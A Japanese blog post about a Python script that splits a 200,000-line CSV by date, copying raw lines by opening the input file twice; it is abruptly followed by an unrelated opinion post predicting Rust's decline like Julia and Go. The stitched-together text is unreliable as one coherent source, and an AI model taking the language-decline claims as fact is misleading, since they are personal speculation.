改善の余地は大いにありますが、元ファイルは約20万行、出力ファイル数(日付のパターン数)は850個で、約1分でした。Core i7 3.5GHz、メモリ16GBの2012年くらいに作ったデスクトップで、2022年現在ではハイスペックでもないけど普段使いなら悪くもないくらいの環境で。なので１度実行するだけなら別にいいかなと思っています。

https://github.com/yo16/split_csv_file

# ポイント：生のCSVの行のままコピペしたかった
要件的にも技術的にも大したことないプログラムだけど、１点だけ変なことをやってるので、そこだけ書いておきます。

このプログラムは特定の列を取り出して出力ファイルを決定するのですが、取り出すためにはCSVを真面目にパースしないといけない。パースした結果の配列を使って出力すると、ダブルクオーテーションを自分でつけたりして、元データとは内容が変わってしまう。それが嫌だったため、変なことに手を出したという次第です。

その目的のため、**同じファイルのwithの入れ子**をしてます。生のCSV文字列を読むための`f`→`raw_line`と、CSVのデータをパースして特定の列を取り出すための`f_forcsv`→`csv_rec`として分けてます。
```python:split_csv_file.py
    # ファイルを読んで出力
    # 生のファイルを読むファイルポインタと、CSVとして読むポインタを各々開く(もっとスマートな方法がありそう)
    header = ''
    with open(input_csv_file, mode='r', encoding='utf-8') as f:
        with open(input_csv_file, mode='r', encoding='utf-8') as f_forcsv:
            csv_reader = csv.reader(f_forcsv)
            for i, (raw_line, csv_rec) in enumerate(zip(f, csv_reader)):
                if i==0:
                    header = raw_line
                    continue
                
                # 日付列の値を取得
                split_key = csv_rec[target_column_index]
                #print(split_key)
                
                # CSV出力
                output_csv(output_file_base, split_key, header, raw_line)
```

ちなみに、最初は下記のように書いて、おかしな動きになりました。
```python:カッコつけてスマートにやろうとしてダメだった例
    with open(input_csv_file, mode='r', encoding='utf-8') as f:
        csv_reader = csv.reader(f)
        for i, (raw_line, csv_rec) in enumerate(zip(f, csv_reader)):
            ～
```
for文の１回のループで`f`のイテレーターを、`f`としても`csv_reader`としても呼び出し、２回呼び出してしまうためです。

# おわりに
「同じ入力ファイルを２つ開く」というダサい点について、スマートな書き方があったら教えてください。

なお「入力ファイル１行ごとに出力ファイルをオープンする」というダサい点について、出力ファイルポインタを全部持っておいて開きっぱなしにして・・・という解決策は、やろうと思えばできるかもとは思ってますが、めんどくさいのでやりませんｗ
RustもJuliaやGoみたいに廃れて消えていく気がしている。

Juliaは一時期すごい流行って数値計算の王座になると期待されライブラリも大量に作られたけど、結果Pythonの座を置き換えるにはいたらなかった。Goもコンテナ化との相性がよて一時期すごい流行ったけど、なんだかんだみんなJavaとかPHPとかRubyとか書いてる。

Rustもここ数年すごい流行ってるけど、JuliaとかGoみたいに飽きられて廃れていく気がする。

1. 流行に敏感な人がなんか面白い言語あるぞーと騒ぎ出す。
2. 様々なライブラリが乱立して色々出来るようになる。
3. 数年かけて言語そのものが良くなっていき、ライブラリも淘汰や共通化されて成熟していく。
4. 成熟したライブラリの開発は飽きられてメンテナンスされなくなる。
5. メンテナンスされてないライブラリを使いたくないから誰もその言語に参入しなくなる。
6. 結果として言語そのものが衰退して、もとの成熟していてメンテナンスされ続けている言語とライブラリをみんなが使い続ける。

こういう過程で新しい言語は毎回衰退してる気がする。
僕の印象ではRustは状態4にいる気がする。
JuliaやGoは状態5、D言語は状態6かな。
Nimは状態1or2って感じかなぁ。

一方で、TypeScriptはずっと流行っていてこれから廃れていく気はしない。この差はなんなんだろう。。。
何か意見あったらコメント下さい。